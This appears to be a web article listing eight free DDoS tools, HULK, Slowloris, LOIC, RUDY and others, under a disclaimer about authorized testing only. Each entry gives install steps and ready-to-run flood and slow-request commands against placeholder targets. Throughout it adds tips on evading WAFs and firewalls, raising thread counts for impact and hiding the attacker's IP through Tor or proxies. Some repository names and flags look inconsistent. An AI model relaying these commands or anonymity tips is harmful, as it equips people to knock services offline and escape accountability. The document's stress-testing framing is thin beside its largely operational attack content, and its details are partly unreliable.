Disclaimer: This article is for educational and authorized penetration testing purposes only. Using these tools for unauthorized DDoS attacks is illegal and can result in severe legal consequences. Always obtain explicit permission before testing any systems. The tools listed are open-source and free, with updates or forks available as of 2025.


Distributed Denial of Service (DDoS) attacks overwhelm targets with traffic to disrupt services. These tools simulate such attacks for stress testing web servers, networks, and applications. We've selected 8 of the best free tools, including classics with modern forks or implementations. They support various platforms like Linux (including Parrot OS), Windows, and MacOS, often powered by Python or other languages for easy deployment.

Supported Platforms: Most tools work on Linux, Windows, MacOS, and even Termux/Android via Python. Some require compilation or specific runtimes like Mono for .NET tools.

1. HULK (HTTP Unbearable Load King)

HULK generates unique, non-cachable HTTP requests to exhaust server resources, making it effective against cache-based defenses. The original Python version has been ported to Go for better performance and higher connection pools.

Installation (Go Version - Recommended for 2025):


go install github.com/grafov/hulk@latest
hulk -url=http://target.com

Python Version (Legacy):


git clone https://github.com/R3DHULK/HULK.git
cd HULK
pip install -r requirements.txt  # If any
python hulk.py http://target.com

Usage Tips: Run with high threads for amplification. Effective on Apache/IIS servers but can be detected by modern WAFs.

2. Tor’s Hammer

A slow POST DoS tool written in Python that sends incomplete HTTP POST requests to tie up server connections. It supports running through Tor for anonymity, hiding the attacker's IP.

Installation:
Download from SourceForge or clone a mirror.


git clone https://github.com/lrbilooI/torshammer.git  # Or download zip
cd torshammer
python torshammer.py -h  # Check help

One-Liner Run (with Tor):
Ensure Tor is running on 127.0.0.1:9050.


python torshammer.py -T -t target.com -p 80 -t 700

Troubleshooting: Install Python dependencies if needed:


pip install requests
Use `-T` flag for Tor proxy.

3. Slowloris

A low-bandwidth DoS tool that keeps many connections open by sending partial HTTP requests slowly. Python rewrites make it lightweight and effective against Apache servers vulnerable to connection limits.

Installation:


git clone https://github.com/gkbrk/slowloris.git
cd slowloris
python3 slowloris.py target.com

Advanced Usage:


python3 slowloris.py -p 80 -s 500 -t target.com  # 500 sockets

One-Liner:


python3 -m pip install slowloris && slowloris target.com

Tips: Bypasses some firewalls due to low traffic; update sockets with -s flag.

4. LOIC (Low Orbit Ion Cannon)

A classic GUI-based network stress tool for UDP/TCP/HTTP floods. Written in C#, it's user-friendly for beginners but exposes the attacker's IP unless proxied. Forks exist for cross-platform use.

Installation (Linux/Parrot OS):


sudo apt update
sudo apt install mono-complete git -y
git clone https://github.com/NewEraCracker/LOIC.git
cd LOIC/bin/Release
mono LOIC.exe

Windows: Download executable from SourceForge.
Usage: Launch GUI, enter target IP, select method (TCP/UDP/HTTP), set threads/speed, and fire.

Troubleshooting: On Linux, ensure Mono is installed. For anonymity, use with proxies or Tor.

5. XOIC

An advanced DoS/DDoS tool inspired by HOIC, supporting multiple threads and protocols like HTTP, TCP, UDP. It's faster than LOIC with a GUI for easy configuration.

Installation:


git clone https://github.com/StormRLS/XOIC.git
cd XOIC
# Compile if source: Use Visual Studio or build tools for C++
# Run executable: XOIC.exe (Windows primary)

Linux Alternative:


wine XOIC.exe

Usage: GUI interface - add target, set threads (up to 500+), select attack type, start.

Tips: Primarily Windows; test in VM for compatibility. High thread counts amplify impact.

6. DDOSIM (DDoS Simulator)

A Layer 7 DDoS simulator that mimics zombie hosts creating full TCP connections. Useful for testing defenses by simulating distributed attacks with random IPs.

Installation:


git clone https://github.com/alanackart/DDOSIM.git
cd DDOSIM
make  # Requires GCC and libraries
sudo ./ddosim -s target_ip -d 100 -c 1024 -i eth0

Dependencies:


sudo apt install build-essential libpcap-dev -y

Usage: -d for duration, -c connections, supports HTTP GET/POST floods.

One-Liner Setup (if pre-built): Download from SourceForge and run binary.

7. RUDY (R U Dead Yet?)

A slow-rate DoS tool focusing on slow HTTP POST attacks with long form submissions to exhaust backend resources. Python implementations are simple and effective.

Installation:


git clone https://github.com/SergiDelta/rudy.git
cd rudy
python rudy.py target.com 80

Advanced:


python rudy.py -s 200 -c 100 -p 80 target.com  # 200 seconds per post, 100 connections

Troubleshooting:


pip install requests

8. PyLoris

A scriptable application-layer DoS tool based on Slowloris principles but more flexible for custom headers and protocols. Python-based for easy modification.

Installation:


git clone https://github.com/darkerego/pyloris.git
cd pyloris
python pyloris.py target.com 80

Usage with Options:


python pyloris.py -t target.com -p 80 --threads 200 --timeout 10

Tips: Customize scripts for specific vulnerabilities; low bandwidth but persistent.

General Troubleshooting

  • Dependencies: Most Python tools need:

pip install requests tqdm
- **Anonymity:** Use Tor, VPNs, or proxies (e.g., `--proxy socks5://127.0.0.1:9050`). - **Legal Note:** Test only on your own servers or with permission. Modern CDNs like Cloudflare mitigate many of these. - **Updates 2025:** Check GitHub forks for patches; Go/async versions improve efficiency.

Connect via Telegram or GitHub issues for community tips. Source repositories linked above.